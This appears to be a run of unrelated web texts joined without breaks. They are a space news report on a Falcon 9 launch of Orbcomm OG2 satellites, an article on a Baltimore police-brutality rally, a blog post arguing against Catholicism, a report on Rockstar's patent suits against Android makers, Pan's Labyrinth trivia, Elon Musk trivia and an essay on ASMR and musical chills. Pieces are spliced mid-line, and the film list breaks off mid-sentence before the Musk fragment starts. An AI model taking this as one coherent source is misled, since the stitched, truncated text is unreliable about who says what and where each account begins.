Each spacecraft is based on Sierra Nevada’s SN-100A bus, with a mass of 172 kilograms (380 lb) and is designed for an operational lifespan of at least five years. The spacecraft are each powered by a gallium-arsenide solar panel producing 400 watts of electrical power.
Each OG2 spacecraft is three-axis stabilised with hydrazine thrusters used for attitude control.
The satellites’ communications systems offer transfer rates up to four megabits per second at VHF frequencies between 137 and 153 megahertz, with each vehicle also carrying an Automatic Identification System (AIS) receiver to pick up identification and tracking signals broadcast by ships at sea – Orbcomm intends to sell this data to coastguard services.
The second-generation constellation is expected to increase the capacity of the Orbcomm network six to twelve times over.
Not including this launch, forty seven Orbcomm spacecraft have been launched to date, with the first being the Orbcomm-X spacecraft which was deployed by an Ariane 4 in July 1991.
A technology demonstrator for the remainder of the constellation, no signals from the spacecraft were ever received. Two further demonstration launches occurred in 1993, followed by the first two operational satellites in April 1995.
The majority of the first-generation satellites were deployed in cluster launches which made use of Orbital Sciences’ Pegasus-XL rocket.
Three groups of eight satellites and one group of seven were launched between 1997 and 1999, with two more spacecraft flying atop a Taurus in 1998.
The original satellites were designed to operate for four years, however it was not until 2008 that a replenishment launch took place, with a Russian Kosmos-3M carrying five Orbcomm Quick Launch satellites and the CDS-3 technology demonstrator.
Most of these satellites failed within a year of the launch due to problems with their attitude control systems, while those that were not rendered completely unusable could not be used to their full capacity, and within two years all six spacecraft were unserviceable.
Orbcomm was forced to lease two VesselSat satellites from LuxSpace to provide interim capacity; these spacecraft were launched in October 2011 and January 2012.
This launch was conducted by the Space Exploration Technologies Corporation, better known as SpaceX.
The company was initially awarded a contract to launch the eighteen OG2 satellites in 2009, using its smaller Falcon 1 rocket. Expected to use the enhanced Falcon 1e configuration, which ultimately never flew, the satellites were transferred to Falcon 9 launches after SpaceX opted to withdraw the Falcon 1 from service.
The Falcon 1 had been SpaceX’s first rocket. The vehicle’s first three launches, in 2006, 2007 and 2008 all failed, however after a successful demonstration launch in September 2008, Malaysia’s RazakSat satellite was deployed in 2009 by what would turn out to be the final Falcon 1 launch.
While SpaceX initially attempted to develop the stretched and re-engined Falcon 1e, this was quickly abandoned in favour of launching more satellites as secondary payloads aboard the Falcon 9.
Falcon 9 launches at Cape Canaveral take place from a former Titan launch pad, Space Launch Complex 40 (SLC-40). The pad was built in the 1960s for the Titan III, and served Titan IIIC, III(34)D and IV launches until the final Titan launch from the Cape in 2005.
Following the demolition of the Titan service towers in 2008, SpaceX began to convert SLC-40 to a clean pad for its rocket. The first Falcon 9 went vertical at the pad in January 2009, however it was not until June 2010 that the type made its maiden flight with the deployment of the Dragon Spacecraft Qualification Unit, a “boilerplate” mockup of the Dragon spacecraft which later flights were expected to carry.
In December 2010 the Falcon 9’s second launch carried the first functional Dragon spacecraft, which completed two orbits of the Earth before being deorbited and recovered successfully.
The next three launches carried Dragon missions which resupplied the International Space Station; the first a test, with the next two as operational flights.
The first five Falcon 9 launches used a configuration which has become known retrospectively as the v1.0. In September 2013 it was replaced with the more powerful v1.1 configuration, which stretched both stages, reorganised the first stage engines into an octagonal arrangement rather than the square used on earlier missions and upgraded those engines from the Merlin-1C to 1D specification.
California’s Vandenberg Air Force Base was the scene of the v1.1’s maiden flight – this remains the only Falcon 9 mission to date not to originate from Cape Canaveral.
After a successful launch that deployed the CASSIOPE satellite for Canada, the Falcon 9 was cleared for commercial geostationary launches; deploying Luxembourg’s SES-8 in December 2013 and Thailand’s Thaicom 6 in January 2014.
The rocket’s most recent launch deployed another Dragon mission to the ISS, marking the first launch for the Dragon atop a Falcon 9 v1.1.
The most recent Dragon launch marked the introduction of landing legs at the aft end of the rocket.
Intended to eventually allow spent stages to be recovered and potentially reused, these legs once again featured on this launch.
Early reports note the stage returned for a propulsive splashdown, but suffered a structural failure as it was hitting the water and was destroyed.
On the Dragon mission SpaceX were able to demonstrate controlled flight up until the stage reached the ocean, and it is hoped that this launch will bring SpaceX a step closer to being able to attempt a land recovery. For this mission, however, the stage is expected to land in the sea.
A two-stage rocket, the Falcon 9 burns RP-1 propellant, oxidised by liquid oxygen, in both of its stages. The first stage is powered by nine Merlin-1D engines, while a vacuum-optimised version of the Merlin-1D propels the second stage.
T he rocket is named after the Millennium Falcon spacecraft in the Star Wars films.
In preparation for launch, the Falcon 9 went through powerup procedures, which occurred thirteen and a half hours before the beginning of the launch window.
Controllers began final preparations for the vehicle’s launch, with fuelling starting around three hours and fifty minutes before liftoff with oxidiser tanking, while propellant loading began ten minutes later.
By the three hour, 15-minute mark this was complete apart from continual replenishment of the oxygen throughout the count as it boils off.
A t T-10 minutes the automated sequence took over control of the countdown.
Controllers then entered the terminal count, with the rocket transferred to internal power at the six minute mark in the countdown.
Following this, the ‘strongback’ structure used to transport it to the pad, erect it and support umbilicals was retracted; occurring between five and four minutes ahead of the liftoff.
At around T-3 minutes, thirty seconds the flight termination system – the self-destruct system used to ensure that the rocket cannot inadvertently hit a populated area if it goes out of control during ascent – was transferred to internal power and subsequently armed.
The launch director confirmed the rocket was go’ for launch at the two and a half minute mark, with the range control officer confirming that he was ready to proceed thirty seconds later.
One minute before launch the vehicle began its startup sequence and its fuel tanks were pressurised. Also around this time the pad’s water deluge system was turned on to protect the complex from the Falcon’s engine exhausts.
The nine first stage engines ignited about two seconds ahead of the rocket lifting off, giving time to ensure they have started correctly before the rocket was released.
About a minute after launch the rocket was travelling at the speed of sound, Mach 1, with the rocket passing through the area of maximum dynamic pressure, max-Q, about fifteen seconds later.
The first stage engines burned for two minutes and 38 seconds, with the spent stage separating around three seconds after the burn is complete. Following a further eight second coast the second stage engine was ignited.
The payload fairing, which protects the satellites from the atmosphere during ascent, separated from the nose of the rocket around the forty-five seconds after ignition.
Second stage flight lasted six minutes and 46 seconds, and its conclusion marked the end of powered flight nine minutes and 39 seconds after liftoff.
Deployment of the six OG2 satellites will begin approximately five minutes later.
The satellites are attached to the rocket by means of two EELV Secondary Payload Adaptors (ESPAs), devices which were developed by Moog Incorporated to allow Atlas V and Delta IV rockets to carry six additional payloads mounted below their primary passenger.
Instead for the Orbcomm launch the ESPA has been modified so as to only carry four satellites, with two fitted together to provide eight slots.
Mass simulators have been bolted to the two unused slots either side of the lower ESPA.
The Falcon 9’s target orbital parameters are a perigee of 615 kilometres (382 statute miles, 332 nautical miles), an apogee of 750 kilometres (466 miles, 405 nautical miles) and inclination of 52 degrees. It appears SpaceX were well within the parameters.
Monday’s attempt was approved following last week’s Static Fire test, that proved to be successful, and was subsiquently rubber stamped by the Launch Readiness Review (LRR) on Sunday morning.
This was the fourth attempt, with the vehicle getting past a number of issues, one of which related to the problem surrounding the rocket’s helium pressurization system that scrubbed a previous Static Fire.
Notably, that previous test allowed SpaceX to attempt to launch this Falcon 9 v1.1 last month. However, following a second stage issue on the first attempt and a weather scrub on the second, the following day brought up another hardware issue.
While the attempt was a long shot – based on the poor weather throughout what was an extended launch window – a problem with what was described by L2 sources as a TVC actuator on the rocket’s first stage was classed as a “potential concern”, resulting in a scrub being called for the day.
With another element coming into play – namely the Eastern Range and its requirement for a maintenance period – SpaceX decided it would be prudent to realign the launch into July.
This launch was the third Falcon 9 launch of the year, with the rocket’s next launch slated to take place in August with the AsiaSat-8 communications satellite.
For the United States, the Falcon launch is the country’s twelfth launch of the year.
It follows the Delta II that made its first flight since 2011 when it orbited the OCO-2 satellite for NASA, and Sunday’s Antares-120 that successfully sent next Cygnus mission on its way to resupply the International Space Station.
(Images: via L2′s SpaceX section, now containing thousands of unreleased photos of all Dragon missions to the ISS. Other images via Jacques van Oene/Spacepatches.nl, SpaceX Orbital and NASA).
(Click here: http://www.nasaspaceflight.com/l2/ – to view how you can support NSF and access the best space flight content on the entire internet)/Baltimore, MD— Families of unarmed Blacks who were slain by police rallied in West Baltimore one year after Freddie Gray died of injuries sustained in police custody. Six families joined protesters to tell stories about family members who had also been killed by police. They marched to the site where Gray had been apprehended and dragged into the police van, paused for a moment of silence and then proceeded four blocks past the local police precinct.
Video of the violent arrest of Freddie Gray was released on the Internet in April 2015, and his death a week later due to a severed spinal cord touched off protests and property destruction in Baltimore. Six police officers were subsequently indicted for their involvement in the “rough ride” leading to Gray’s fatal injury. Their trials were put on hold by a Maryland appeals court. Baltimore City settled a civil case with the Gray family for $6.4 million.
“This is 21st-century lynching at its best,” said Reverend C.D. Witherspoon. “And it goes by the name police brutality.”
People gathered in front of the CVS at the corner of West North and Pennsylvania Avenue. The store became infamous when rioters smashed the windows, looted and set fire to it a year ago. Today, large signs saying “Now Open” are displayed on the building.
Among those who spoke at the rally were mothers whose children were killed by police. Diane Butler, mother of Tyrone West, 44, a Black man who died after being beaten by 12 to 15 Baltimore police officers in July 2013, said that despite the pain of the families they will never stop seeking justice. She delivered a stinging rebuke of the Baltimore police who beat and arrested her son.
The Baltimore coroner’s report said he died of a heart attack, but she strongly condemned the finding. “You better let them know we’re gonna fight for our children, our black men and our black women. No justice, no peace,” Butler said.
Tawanda Jones, West’s sister, called the police officers who killed her brother “animals, savages.” She described the investigation as “phoney-baloney” and “foolishness.”
Gina Best, mother of India Kager, who was slain by Virginia Beach police in September 2015, also spoke about police violence against the unarmed. “I stand here today for Tyrone West, Tamir Rice, Loquan McDonald, and those who have been killed by police officers. I stand here in pain with the mothers who bear the pain,” she said.
Darlene Cain, mother of Dale Graham, who was killed by police in 2008, urged the community to get involved in efforts to change policing standards in Baltimore. “This could happen to anybody. We are not exempt,” she said.
Nathaniel Smith, a resident of West Baltimore, joined the protest as it passed his home. He believes solutions to Baltimore’s poverty and racial problems are going to come from the people, not the police or City government. “If they’re going to do something you need to start with the staff sergeants and elderly officers,” he said.
The Baltimore Police Department appeared to view the protest as a chance to mend severed relationships with the community while still maintaining a watchful presence. Before the rally began, a chaplain from a local church led a prayer with about twenty people holding hands in a circle, seven of them on-duty police officers.
During the impassioned speeches condemning police brutality, a few officers, most of them female, stood off to the side. One officer greeted people warmly, smiling and offering to shake hands, and made a point to say that they were out at several community events. In contrast, another officer–who held a camera–was standoffish and reluctant to say whether she was on-duty or not. Neither would not comment on their participation in the prayer circle. A third suggested that the neighborhood community center–where they were distributing free food that day—would be a more interesting subject for media to cover than the protest. A police helicopter circled above.
Many protesters were not happy about the prayer circle. Protester Lee Patterson, for example, called participants “sellouts” working with “pork preachers” and “the pork police.”
Next week marks the anniversary of Freddie Gray’s funeral, and more protests are set to take place then.
This slideshow requires JavaScript.This isn't meant to be exhaustive. There are so many reasons not to be Catholic, and I've written so much about it. But with that disclaimer out of the way, I'm going to summarize some of the primary reasons I'm not Roman Catholic:
1. Perhaps the primary rationale to be Catholic is the belief that God has singled out the Roman church for special guidance and protection from serious error, in contrast to the plight of Protestants, who lack that guidance and protection. With that in mind, consider the following: historically, popes, Roman bishops, church fathers, and church doctors, among other leaders in the Catholic church, believed in the historicity of Biblical narratives, believed in the traditional authorship of Scripture, believed that Biblical oracles (e.g. Isaiah, Daniel, messianic Psalms) were genuinely predictive. That held true up through the anti-modernist popes (e.g. Pius IX, Leo XIII) and the BPC under Leo XIII.
However, around the middle of the 20C, modernism began to gain the upper hand in church circles. I think it's safe to say that nowadays, most Catholic Bible scholars, priests, and upper clergy deny the traditional authorship of Scripture, regard biblical narratives as frequently erroneous or fictional, and consider Biblical oracles to be prophecy after the fact.
So the institutional and intellectual leadership of the contemporary Roman church doesn't think God protected Bible writers from error, and doesn't think God protected popes, bishops, church fathers, and church doctors for about the last 1900 years from mistaken belief in the historicity of biblical narratives, the traditional authorship of Scripture, and predictive prophecy. But in that event, what possible reason is there to believe that God singled out the church of Rome for special guidance and protection from error, if, by their own admission, he failed to do that for the authors of Scripture, and he failed to do that for popes, bishops, church fathers, and church doctors concerning their view of Scripture?
2. Rome redefined tradition. This began with Newman. It was formally adopted at Vatican II. Here's an illustration:
Milestones (Ignatius, 1998), 58-59. Before Mary’s bodily Assumption into heaven was defined, all theological faculties in the world were consulted for their opinion. Our teachers’ answer was emphatically negative... ’Tradition’ was identified with what could be proved on the basis of texts. Altaner, the patrologist from Würzburg...had proven in a scientifically persuasive manner that the doctrine of Mary’s bodily Assumption into heaven was unknown before the fifth century; this doctrine, therefore, he argued, could not belong to the ‘apostolic tradition.’ And this was his conclusion, which my teachers at Munich shared. This argument is compelling if you understand ‘tradition’ strictly as the handling down of fixed formulas and texts...But if you conceive of ‘tradition’ as a living process whereby the Holy Spirit introduces us to the fullness of truth and teaches us how to understand what previously we could still not grasp (cf. Jn 16:12-13 ), then subsequent ‘remembering’ (cf. Jn 16:4, for instance) can come to recognize what it had not caught sight of previously and yet w as handed down in the original Word,"(Ignatius, 1998), 58-59.
When you see that you're losing by your own rules, you snatch victory from the jaws of defeat by changing the rules during the game. That's cheating. By redefining tradition, by contradicting how tradition was understood for the last 19 hundred years, Rome falsified itself by her own standards.
3. Rome has reversed herself on some major doctrinal issues. Take the possibility of salvation outside the church:
That's exactly what you'd expect from an organization that's not divinely guided. That doesn't enjoy divine protection from significant error.
That's exactly what you'd expect from a merely human organization that lacks foresight, making things up as it goes along, and having to abrogate established positions due to unforeseen circumstances, and replace established positions with new positions that were improvised on the spot.
Another example is how the Roman church is reversing itself on the death penalty.
4. Catholic apologists contend that human reason is too unreliable to interpret Scripture on its own. We require an infallible interpreter.
That, however, generates a dilemma for Catholicism. How do you determine that Rome is the infallible interpreter? Do you evaluate the documentary evidence for Rome? If the case for Rome depends in part on Biblical prooftexts and patristic protects, those must be interpreted. If, however, unaided human reason can't be trusted to arrive at the correct interpretation of the documentary evidence, then you can't establish the Roman Magisterium in the first place. You can only turn to the authority of Rome to interpret the Bible if you are able to ascertain that Rome has that authority. But at that stage of the argument, you can't rely on Rome's authority to establish Rome's authority, for Rome's authority must be a conclusion you derive from the evidence. As a preliminary step, you must be able to prove that by means independent of the Magisterium, for the (alleged) authority of the Magisterium can only come into play after that's been established. If, however, unaided human reason is too undependable to properly assess the documentary evidence, then there's no way to get from your starting-point to the authority of Rome.
In your fallible opinion, Rome is infallible. So opinion undergirds the Magisterium, rather than the Magisterium undergirding opinion. How can the superstructure be firmer than the foundation? The Catholic appeal is like a balloon of certainty sitting on a spike bed of uncertainty. Under slight pressure, it will pop.
5. To my knowledge, apostolic succession depends on valid ordination. And valid ordination depends on right intention by both the officiant and the ordinand. But intention is a private mental state. Only the officiant and the ordinate are privy to their intentions. So valid ordination is unverifiable. Any broken link in the chain will invalidate everything after the break.
6. In many respects, the Catholic church is already indistinguishable from the liberal mainline denominations. Modernism has infected the Roman church from top to bottom. There's some residual conservativism (conservative by traditional Catholic standards), but even that's eroding, like a sandbar at high tide.A patent holding company backed by Apple, Microsoft, Blackberry, Sony, and Ericsson has filed the first round of lawsuits based on patents the group won at auction from seminal telecom company Nortel.
A Rockstar engineer disassembles devices to look for patent infringements | Source: Rockstar via Wired
AdWords under attack
Rockstar is attacking the source of 98% of Google's revenue
More trouble for Android OEMs
The lawsuits target only Android devices
The company, Rockstar Consortium, on Thursday filed eight patent infringement suits in the Eastern District of Texas against Google, Samsung, Huawei, ZTE, LG, HTC, Pantech, and Asus, according to FOSS Patents. The list of manufacturers represents every major Android OEM apart from Sony, which is a part owner of Rockstar.The case against Google is based on a family of patents covering an "Associative Search Engine," and more specifically contextual advertising within search results, the first of which was filed in 1997 —the year before Google's inception.Rockstar alleges in its complaint that Google "has infringed and continues to infringe" seven patents related to "matching search terms with relevant advertising and/or information based on those search terms and other user data." The suit explicitly cites Google's AdWords bid-based targeted advertising system, which is at the heart of Google's search business model and represents the vast majority of the company's corporate revenues.When the patents went up for auction in 2011 following Nortel's bankruptcy, Google was among the initial bidders, winning the stalking horse bid with a $900 million offer. The company eventually bowed out of the race for the treasure trove of intellectual property— which also includes important patents on 3G and LTE wireless networking— at $4.4 billion, ceding the portfolio to Rockstar and its $4.5 billion bid.Google's active participation in the auction is held up as evidence of the patents' applicability to Google's operations, with the complaint saying that "despite losing in its attempt to acquire the patents-in-suit at auction, Google has infringed and continues to infringe the patents-in-suit."The manufacturer lawsuits allege infringements against a different set of Nortel patents, ranging from a patent on an "electronic package carrying an electronic component and assembly of mother board and electronic package" to one covering "call trace on a packet switched network."According to the complaints— which FOSS Patents notes are identical in each case— the manufacturers are accused of direct and indirect infringement due to "one or more of making, using, selling and offering to sell...certain mobile communication devices having a version (or an adaption thereof) of Android operating system." This means Rockstar is not asserting the patents against devices from those manufacturers running Windows Phone, likely thanks to Microsoft's position as a part owner of Rockstar.Rockstar is seeking permanent injunctions and damages in the cases, though it is still possible that the threat of going to trial against such a deep pool of intellectual property will drive the manufacturers to settle out of court and begin paying licensing fees.Patent license fees have fast become just another cost of doing business for Android manufacturers, with more than twenty major licensing deals announced in the last few years. It is widely believed that thanks to the agreements, Microsoft makes more money each year from Android than Google does.Mindhole Blowers: 20 Facts About Pan's Labyrinth That Might Make You Believe in Magic
By Cindy Davis | Lists | November 28, 2011 |
Guillermo del Toro is a fantastic storyteller, evidenced not only by this beautiful film, but also in the way he shares his thoughts on the director's commentary. If you loved Pan's Labyrinth, I highly recommend watching the DVD extras, which has a wealth of interesting information. This alternately heartbreaking and hopeful Academy Award winning film was made with so much thought and detail and love, there is no doubt it was, for del Toro, like birthing a child. The director clearly has a longing to recall and share some of the universal thoughts and feelings of childhood; his explanations of particulars (like the chalk appearing in Vidal's quarters) that prove the magic is real is enough to make even a cynic like me believe.
1. Guillermo del Toro begins his commentary by saying that the film almost destroyed... nearly killed him. He lost 40 pounds during the process. The film's origin was a story of a pregnant woman who arrived to a mansion in Spain; her husband worked for the mansion owner, restoring the home. The woman fell in love with a faun in a labyrinth--they made love--and he asked for the blood of her firstborn in order to open the gate and let her enter the magical kingdom to be with him. The ending was this woman sacrificing her son to go with the love of her life, the faun. Eventually, del Toro realized it was more interesting to talk about the magic through the girls' eyes.
2. The film is intended to be a companion piece to The Devil's Backbone; in the five years between the two films the world changed completely (after September 11th) and so, everything del Toro had to say about brutality and innocence, childhood and war changed dramatically. The Devil's Backbone was set in 1939--he wanted to do a film set exactly five years later-- so he chose 1944 Spain. The time period would mirror how much the world had changed then and how much the world had changed today. The director felt if the ghost story in Devil's Backbone was made to illuminate the microcosms of the Spanish Civil War, then this movie should be about choice and disobedience, which are themes he felt were as urgent in the world today as they were in 1944.
3. Del Toro said the opening image of blood going back into Ofelia's body and the writing of the first 10 minutes of the film was "the hardest thing," he was stuck (on the beginning) for months and months. When he saw the image of the blood going back to her nose, he understood the rest of the movie; it was not about a girl dying, but about a girl who was giving birth to herself the way she wanted to be.
The film's opening also went through many, many changes. The director realized if the movie was going to be two stories intersected, then along with the beautiful fairy tale prologue in the narration, the audience should see images of a destructed Spanish city torn by the war--as a contrast to the fairy tale narrative--so the stories would start to juxtapose from the very beginning. He wanted to show how the material world scoffs at the girl's interest in the fantasy world, starting with her mother. Del Toro believes that children have a perfect personality and then we (adults) ruin it with our "intelligent decisions to educate them; someone in the 19th century said that it was our duty to deal with children as if they were the ambassadors of a higher culture and not like we want to educate them, but like we want to learn from them."
4. The moment of Ofelia's (Ivana Baquero) arrival at her stepfather's home is almost a direct mirror of Devil's Backbone, when the young boy arrives at the orphanage. Del Toro wanted the two movies to be similar, he constructed them to have a circular opening and closing type of structure, with a narration; a child arriving to a new building with an adult, then having the child be visited the first night by a magical or fantastic creature and having to solve the mystery that the creature would pose that night. The director spoke of the similarities between the films' two antagonists and the two protagonists. In Devil's Backbone, the children--one writes and one draws pictures; Ofelia is sort of a combination of those two characters. The fascist in Devil's Backbone is a "proto-fascist," who is not intellectual enough or political enough to really be called a fascist. But Captain Vidal (Sergi López) is a full-fledged fascist. Del Toro also wanted to blend the films by them each occurring in a single building. He feels the essence of the Spanish Civil War is seen by displaying it as a household war, a war that occurs within the walls of a building and between members of a family, so to speak.
5. Vidal's watch is the only memory he has of his father--it presses him to be a great, famous man and it also oppresses him. Del Toro felt it important that the Captain is obsessed with details, for him the rebels are just a concept and little pinpoints that he has to look at on a map with a magnifying glass. Vidal is so obsessed with the little things, how shiny his boots are how well his watch runs, how neatly he pinpoints the strategy on the maps, that he loses perspective of the larger stuff. He loses perspective of life and people. When Vidal meets Ofelia, it is with a direct quote from Dickens' David Copperfield (the first time Copperfield meets his stepfather, the stepfather tells David, "That's the wrong hand"). Pan's Labyrinth is peppered with references to other fantasy movies and to novels (Hans Christian Andersen's The Little Match Girl, The Wizard of Oz, Alice in Wonderland, Oscar Wilde, etc.).
6. The way the insect was filmed, everything--including a close-up--was because del Toro wanted to emphasize with the camera how significant the insect was. The insect is very often favored by the camera; it was important that this creature was the guide to take the girl into the labyrinth the first time. Del Toro highlighted in both Devil's Backbone and Pan's Labyrinth that the |
to avoid the mandatory military service. He explains this isn’t because he has any problem with mandatory military service, but he didn’t like what being in the military in South Africa in the late 1980s would mean for him in terms of the things he would be asked to do, particularly brutally oppressing the black majority in South Africa. When he and his brother moved to Canada to avoid the issue, it was against their father’s wishes and the two almost never speak today because of it.
When Musk dropped out of graduate school at Stanford, he requested a one quarter deferral as he was sure Zip2 would probably fail fairly quickly and would just then be a good learning experience for him.
Before making his millions with Zip2, Musk worked such jobs as cleaning out boilers at a lumber mill; log cutting with a chainsaw; and working on a wheat farm cleaning out grain bins, shooting gophers, etc.
Right before starting grad school and Zip2, Musk also applied to Netscape, but was never given a call-back.
In order to keep himself going during long days of work juggling various projects, Musk at one point would drink eight cans of Diet Coke per day along with several cups of coffee. Eventually, he switched it so his office now only carries caffeine free Diet Coke and cuts out most of the coffee drinking.
Expand for References:John Gara
Ever hear a sound that makes you feel like Super Mario looks when he gets an invincibility star? A few weeks ago I read an article on Vice called "ASMR, the Good Feeling No One Can Explain." One ASMR — sufferer? experiencer? practitioner? whateverer? — named Maria described it like feeling like “bubbles in your head,” and compared it to getting a scalp massage, but the sensation is on the inside. She went on: “It’s like a little explosion, and then just little sparkles and little stars going down [your back]. Depending on the strength of the trigger, it might just go into the top of the spine of the shoulders, but sometimes it goes down to your arms and legs, and other parts.” I think this moment from Velvet Goldmine summed up my reaction to this best:
View this video on YouTube youtube.com (The part where Batman jumps up and down pointing and shouting "That is me! That's me, that! That's me!", not the part where Henry VIII says "everybody knows most people are bisexual," although yeah, that too.)
The term ASMR, or Autonomous Sensory Meridian Response, is used to refer to a self-diagnosed condition in which tingles radiate downward from the top of the head through the neck, spine, and limbs, accompanied by feelings of euphoria, in response to various sensory triggers, from whispered speech to tapping sounds to simply watching a person do something efficiently. Many of the triggers involve somebody playing close attention — to a task, to you, to a task involving you — which gave rise to early stabs at a name for the phenomenon like AIHO (Attention Induced Head Orgasm) or AIE (Attention Induced Euphoria). Discovering its existence told me that no, not everyone experiences what I do, but yes, plenty of people do. And they like to talk about it — as they've done here, here, here, and here, among other places. They have a dot-org and a Reddit community. What they're describing reminds me an awful lot of the sensation I experienced recently, walking down 7th Avenue in Manhattan to get lunch at Panera Bread, when suddenly the TV on the Radio song I was listening to on my iPod made me feel like my nerves had suddenly been switched to "sparkle":
It's the moment they pound out those four big echoey piano notes right after the first chorus that does it. My scalp, my neck, my arms and spine and back, the sides of my chest — they feel like tiny waves of intense, tingling bubbles are pulsing through them. I've had this exhilarating experience during certain musical moments for as long as I can remember, and every time it feels like magic. The genre doesn't seem to matter, based on a sampling of stuff I've listened to recently that's done the trick; the moments themselves simply share a certain sense of drama. Like when the big duet harmonies kick in during the last chorus of Gotye's "Somebody That I Used to Know" after Kimbra's big buildup:
Or when that first chorus creeps up on you in "Lightning Crashes" by Live — a song I probably hadn't thought of in 10 years before I caught it while flipping through the car radio, and it gave me enough chills to make me shudder in the driver's seat:
Or when D'Angelo falsettos his way back to the big triumphant final chorus in "Untitled":
Or in my favorite song, the Trainspotting soundtrack standout and EDM classic "Born Slippy.NUXX" by Underworld, any time that signature three-note synth hook bursts back out after a prolonged absence (wait for it...wait for it...):
For years I assumed that everyone experienced this sensation. After all, people say "ooh, that gave me chills" all the time, right? Because it was so common, or so I thought, I never bothered mentioning to anyone, even as I developed a go-to list of songs that can practically shiver my spine out of my body with this sensation: "Mother" by Tori Amos, the live version of "Heartbeats" by the Knife, "Let Down" by Radiohead, pretty much anything at an Underworld concert. But by the time I had my Panera/"Province" moment, something had changed. I'd learned about ASMR, and found my people. Or had I? This is from the r/asmr community guidelines: NO music videos. ASMR is different from frisson, the kind of chill most people get from music. (ASMR vs. Frisson). While it is sometimes possible to get ASMR from music, all music videos will be deleted, as to avoid confusion with the two types of reaction. :O :O Hold on, though: At ASMR-Research.org, music's right in there among the "common external triggers":
•Exposure to slow, accented, or unique speech patterns
•Viewing educational or instructive videos or lectures
•Experiencing a high empathetic or sympathetic reaction to an event
•Enjoying a piece of art or music •Watching another person complete a task, often in a diligent, attentive manner - examples would be filling out a form, writing a check, going through a purse or bag, inspecting an item closely, etc. •Close, personal attention from another person•Haircuts, or other touch from another on head or back (Emphasis added.) Hm, okay. None of the other triggers do much of anything for me, as I discovered when I dipped into the vast reservoir of ASMR videos on YouTube. Quiet tapping and scratching sounds can be pleasant to listen to in a rain-on-the-windowpane way:
And some of the whispering videos can give me a twitchy feeling, like the one your dog gets when you scratch behind his ear:
But none of the non-musical ASMR trigger videos give me the chills. Yet I couldn't help but feel that some of the pushback against musical triggers was standard Internet-niche boundary-policing. What's more, the r/asmr guideline's contention that "most people" get the chills from music — or frisson — didn't square with my experience: When I described those tingles to friends, pretty much no one had any idea what I was talking about. (My mom says she gets them from The Phantom of the Opera, but that's about it.) It seemed like if I wanted to figure out what I was experiencing, I had to take this to the experts. Unfortunately, there aren't any. To date, ASMR's existence has been established only by the overlapping symptoms described by people who say they've experienced it. As Steven Novella of SkepticBlog reported, a search for the term in the massive PubMed.gov database of medical publications yields no results. "It’s mainly been talk so far, but we are very interested and consider it one of our goals: to get assistance from the scientific community in some capacity," says Andrew MacMuiris, founder of the pioneering ASMR blog The Unnamed Feeling and an outreach agent for the ASMR Research site. "I imagine it will be necessary." Turns out the answer there is yes and no. I reached out to a number of experts in the fields of music cognition, evolutionary psychology, and social psychology, and while none of them knew of any work on the phenomenon, none of them expressed much doubt about its existence, either. "It exists as a physiological effect, for sure," says Robin Dunbar, Professor of Evolutionary Psychology at Oxford University. Hauke Egermann, a research associate with the Audio Communication Group at Technische Universität Berlin, points to a 2011 study that tested musical chill triggers alongside other sounds, the touch of a scalp massager and a feather, and even the sour tastes of grapefruit and lemon as a potential precedent for ASMR's non-musical triggers. "If listeners or participants report this experience in an experimental setting to me, I must take it for real," he says. "However, to my best knowledge, the term 'ASMR' has not be used in our research field." In the meantime we've only got the reports of people who've experienced both ASMR and musical frisson, and they point to some pretty clear differences. "It's like a buildup, an emotional climax," says the r/asmr moderator Mahi_Mahi of frisson. "It makes you feel energized and alive." She describes ASMR as "more subdued...you want to melt in your chair and purr like a cat. This can last for quite a long time, as long as the triggers last," as opposed to the more momentary feeling of frisson. MacMuiris concurs: "ASMR elicits a pleasurable tingling sensation and a relaxed feeling — even to the point where someone falls asleep. Frisson does produce a tingling sensation, but it is somewhat different, and it amps you." Mahi_Mahi notes that while music that shares the same soothing or repetitive characteristics of non-musical ASMR triggers can cause the response, that's very different from the "big climax category" of music and its separate set of resulting sensations. Other ASMR Redditors break it down in much the same way; across the board, the frisson researchers I spoke with associated the sensation with intense emotion, not relaxation. The word "euphoria" gets used a lot to describe both phenomena, but with frisson it means "psyched up," and with ASMR "blissed out." Many experts seem to draw a distinction between the two as well. David Huron, Professor at the School of Music at Ohio State University, says ASMR is not the same as frisson. "The [ASMR] effect is clearly strongly related to the perception of non-threat and altruistic attention," says Huron, who notes that there's a strong similarity to physical grooming in primates. "Non-human primates derive enormous pleasure (bordering on euphoria) when being groomed by a grooming partner." And, says Huron, they groom each other not to get clean, but rather to bond with each other. Oxford's Dunbar, who has studied primate grooming extensively, contrasts the beta-endorphin release responsible for grooming's relaxation effect with the dopamine dump responsible for bursts of excitement like those experienced during musical frisson. Frisson, he says, "looks suspiciously like a 'pay attention' mechanism that allows you to zoom in on a potential mate/friend/ally or whatever so that you can now start to target them and develop an appropriate relationship (that will ultimately be built on the endorphin mechanism)." That could explain the tingling component to the relaxation-based ASMR experience. So that leaves musical chills as their own separate beast. And though they're far from unheard of, they're less common than ASMR people allege. "The literature in music cognition tends to claim that between 1/3 and 1/2 of people experience chills in response to music," says Lisa Margulis, Associate Professor and Director of the Music Cognition Lab at the University of Arkansas. She says certain kinds of people are more likely to get them: performing musicians (a whopping 90 percent!), women, and people who rank low on the "sensation seeking" dimension of personality. "They don't need a roller coaster to blow their mind," Margulis says. "A few measures of Mahler is enough." Interestingly, the type of person you are matters more than the type of music you listen to. Emily C. Nusbaum, a researcher and doctoral student at the University of North Carolina at Greensboro, notes that in a study she helped conduct, those who rank high on "openness to experience" also experienced chills more frequently. These types of people tend to listen to more technically complex music — so researchers thought at first that they got chills more often simply because they tended to listen to more chill-inducing music. But in fact, says Nusbaum, "We were surprised to find that the type of music people listened to really didn't matter in terms of getting chills." What did matter was the structure, not the genre. "Large shifts in tempo or volume and sudden entrance or exit of vocals or instruments seem to be the big winners in eliciting chills," she says, citing work done by Huron and Margulis. Or as Egermann puts it, "Music that has the capability to surprise listeners might be more likely to induce strong emotional responses, including those that are so strong that they include chills." Margulis agrees. "Generally, [frisson-inducing passages] involve some sudden, radical change — these moments are surprising and unexpected," she says. "In addition, they're often high energy: really loud, or involving lots of instruments playing all at once." She and Huron pinpointed "The Final Cut" by Pink Floyd as a case in point.
